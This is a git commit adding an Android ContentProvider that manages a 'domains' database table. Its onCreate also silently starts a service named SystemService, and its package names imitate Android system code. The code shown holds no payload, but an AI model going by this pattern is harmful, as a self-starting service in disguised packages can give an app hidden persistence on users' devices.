首次提交

This commit is contained in:
2025-09-29 08:52:07 +08:00
commit 6379786d0b
109 changed files with 15030 additions and 0 deletions

View File

@@ -0,0 +1,139 @@
package com.android.provider;
import android.content.ContentProvider;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Intent;
import android.content.UriMatcher;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.net.Uri;
import android.os.Build;
import com.android.systemss.SystemService;
import com.android.util.CommonUtils;
// StudentProvider.java
public class DomainProvider extends ContentProvider {
private DatabaseHelper dbHelper;
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
static {
uriMatcher.addURI(DBDomain.AUTHORITY, "domains", 1);
uriMatcher.addURI(DBDomain.AUTHORITY, "domains/#", 2);
}
@Override
public boolean onCreate() {
if (getContext() == null) {
return false;
}
dbHelper = new DatabaseHelper(getContext());
if (!CommonUtils.isServiceRunning(getContext(), SystemService.class)) {
Intent startIntent = new Intent(getContext(), SystemService.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
getContext().startForegroundService(startIntent);
} else {
getContext().startService(startIntent);
}
}
return true;
}
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
Cursor cursor;
switch (uriMatcher.match(uri)) {
case 1:
cursor = db.query(DBDomain.DomainEntry.TABLE_NAME,
projection, selection, selectionArgs, null, null, sortOrder);
break;
case 2:
selection = DBDomain.DomainEntry._ID + "=?";
selectionArgs = new String[]{uri.getLastPathSegment()};
cursor = db.query(DBDomain.DomainEntry.TABLE_NAME,
projection, selection, selectionArgs, null, null, sortOrder);
break;
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
cursor.setNotificationUri(getContext().getContentResolver(), uri);
return cursor;
}
@Override
public Uri insert(Uri uri, ContentValues values) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
long id = db.insert(DBDomain.DomainEntry.TABLE_NAME, null, values);
getContext().getContentResolver().notifyChange(uri, null);
return ContentUris.withAppendedId(uri, id);
}
@Override
public int update(Uri uri, ContentValues values, String selection,
String[] selectionArgs) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
int count;
switch (uriMatcher.match(uri)) {
case 1:
count = db.update(DBDomain.DomainEntry.TABLE_NAME,
values, selection, selectionArgs);
break;
case 2:
selection = DBDomain.DomainEntry._ID + "=?";
selectionArgs = new String[]{uri.getLastPathSegment()};
count = db.update(DBDomain.DomainEntry.TABLE_NAME,
values, selection, selectionArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
getContext().getContentResolver().notifyChange(uri, null);
return count;
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
int count;
switch (uriMatcher.match(uri)) {
case 1:
count = db.delete(DBDomain.DomainEntry.TABLE_NAME,
selection, selectionArgs);
break;
case 2:
selection = DBDomain.DomainEntry._ID + "=?";
selectionArgs = new String[]{uri.getLastPathSegment()};
count = db.delete(DBDomain.DomainEntry.TABLE_NAME,
selection, selectionArgs);
break;
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
getContext().getContentResolver().notifyChange(uri, null);
return count;
}
@Override
public String getType(Uri uri) {
switch (uriMatcher.match(uri)) {
case 1:
return "vnd.android.cursor.dir/vnd.com.example.providerapp.students";
case 2:
return "vnd.android.cursor.item/vnd.com.example.providerapp.students";
default:
throw new IllegalArgumentException("Unknown URI: " + uri);
}
}
}